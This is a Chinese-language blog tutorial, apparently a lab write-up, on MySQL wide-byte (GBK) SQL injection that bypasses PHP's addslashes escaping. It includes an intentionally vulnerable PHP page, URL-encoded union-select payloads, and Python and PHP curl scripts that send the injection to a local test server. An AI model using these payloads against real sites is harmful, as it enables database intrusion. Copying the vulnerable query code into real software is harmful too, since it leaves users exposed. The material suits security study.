MySQL总结二 宽字节注入

MySQL宽字节注入

 

MySQL有很多字符集。要明白宽字节注入是什么。首先先了解一下MySQL中支持的字符集。

官方文档中可知。通过命令

SHOW CHARACTER SET;

可以知道我们的MySQL所支持的字符集。

我们来看看我们进行测试的数据库支持的字符集

本次测试使用的是gbk字符集。其他的字符集能不能注入还有待研究一下。。。。

可以看到gbk的字节长度为2

看看gbk编码的范围

8140-FEFE(十六进制)剔除 xx7F   (但是实际测试的时候。到了FE9F就是最大的了。。。

可以在该网站查询十六进制GBK编码所对应的汉字

https://www.qqxiuzi.cn/bianma/zifuji.php

 

gbk编码是双字节的。也就是需要两个十六进制数来拼接而成。

 

了解了gbk编码的一些基本的东西。我们来看看php的过滤函数addslashes

也就是对以上字符进行转义。在其之前添加反斜杠。

PHP中的函数添加的字符都是ascii编码的。而ascii编码只占一个字节。

 

宽字节注入的目的就是要绕过这个转义的反斜杠\。绕过方式有两种:

  1. 在反斜杠前再加多一个反斜杠。使其抵消
  2. 将反斜杠与一个字符通过编码的方式合并起来。使其成为另一个字符。

 

看到这样也大概明白了宽字节注入要怎么操作了。字符集为gbk时。对中文字符编码为2个字节。如果我们通过输入一个ascii值的数据,占一个字节(注意范围要在gbk编码里面)。剩下一个字节给这个反斜杠。这样就形成了两个字节。组成了一个汉字。这样子反斜杠就没有了。即可成功绕过。

 

所以难点就是构造这个输入的数据。我们分析一下。

gbk编码范围是

8140-FEFE剔除 xx7F(实际测试最大是FE9F。。。

前一个字节是81-FE

后一个字节是40-9F

而反斜杠\的hex值为5C。刚好在后两个字节里面。

所以我们只需要构建前面那个字节的值即可。

通过查询可以知道。hex为81-FE之间是没有可用字符的。。。。有点悲摧。。

 

但是不要慌张。还是有办法的

  1. 如果页面是GET方式提交。那就最简单了。通过URL编码来发送这些没有字符的hex值。因为URL编码是用百分号%加上那个字符的十六进制来进行编码的。所以我们可以直接构建类似?xxx=%81这样子的数据。
  2. 如果页面是POST方式提交。那就麻烦一点。自己写个python小脚本把。。。将值手动unhex之后再发送即可

 

既然明白了。那我们先搭建好环境先。把mysql的字符集设置为gbk。

my.ini中搜索[mysql]和[mysqld]。将下面的character改成gbk

 

设置好后重启mysql。

show variables like “%character%”

字符集全部改成了gbk。

 

接下来我们挨个测试GET和POST两种方式的注入。

我们来看下GET方式的。Web代码如下

<?php

$con = mysqli_connect('127.0.0.1','root','123456','test1');

if(isset($_GET['username']))
{
         $username = addslashes($_GET['username']);

         $sql = "select * from test1 where username = '{$username}'";

         $query = mysqli_query($con,$sql);

         while($row = mysqli_fetch_assoc($query))
         {
                  var_dump($row);echo '</br>';
         }
         var_dump(mysqli_error($con));echo '</br>';

         var_dump($sql);
}
?>

可以看到引号是被反斜杠\转义了的

 

单引号的hex值是27

所以单引号的URL编码为 %27

进入php处理时会在单引号前面加多一个反斜杠\。hex值为5c

所以我们要构建的这个单字节的hex就要在单引号前面。这样子才能与反斜杠的hex相结合

payload:

%81%27

可以看到。成功报错了。是SQL语法错误。说明转义的反斜杠已经和%81结合成一个汉字了。但是。。。。汉字呢。。?

这个是页面编码设置的问题。把firefox的编码设置成chinese即可。

 

可以看到。变成了一个汉字“乗”。说明我们已经成功的完成了转义函数绕过之宽字节注入。

简单注入一下,payload:%81%27 union select 1,version() #                      (kali firefox没装上hackbar。。。。

 

接下来我们看看POST的形式接收的话。我们要怎么发送数据呢。

Web代码:

<?php

$con = mysqli_connect('127.0.0.1','root','123456','test1');

if(isset($_POST['username']))
{

         $username = addslashes($_POST['username']);

         $sql = "select * from test1 where username = '{$username}'";

         $query = mysqli_query($con,$sql);

         while($row = mysqli_fetch_assoc($query))
         {
                  var_dump($row);echo '</br>';

         }
         var_dump(mysqli_error($con));echo '</br>';

         var_dump($sql);
}
?>

 

直接发送URL编码的方式已经是不行了。而且hex值为81的又是没有的字符。不能直接打出来。所以我们只能通过python将hex解码出来。然后再发送。

我用的是kali内置的python。版本为2.7。python3以上的不支持这样子转换hex了。要用binascii这个模块

两者对比

emmm。。。。80 解码是一个\x80。用python的转义字符的十六进制来表示了。那这样子在发送请求的时候不久发成了\x80吗。。。。

print出来。是一个乱码。这样就放心了。它发送的时候并不是直接发\x80。只是python上面运行的时候,不可显示,只好用转义字符的方式来显示而已。

我们就可以安心写脚本了。一个简单的python脚本如下:

import requests

s = requests.session()

str = '81'.decode('hex') + '27'.decode('hex') + ' union select 1,version() #'

response = s.post('http://192.168.0.103/test.php',data={'username':str})

print(response.text)

没有显示出我们的汉字。我们调一下终端窗口的字符设置。

 

成功注入。

 

我们还可以通过php的curl来进行请求。用解url编码的方式来构造数据。代码如下:

<?php
$curl = curl_init();

curl_setopt($curl, CURLOPT_URL, 'http://192.168.0.103/test.php');

curl_setopt($curl, CURLOPT_POST, 1);

$post = urldecode('%81%27 union select 1,version() --+');

$post_data = array('username' => $post);

curl_setopt($curl, CURLOPT_POSTFIELDS, $post_data);

$data = curl_exec($curl);

curl_close($curl);

成功注入

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值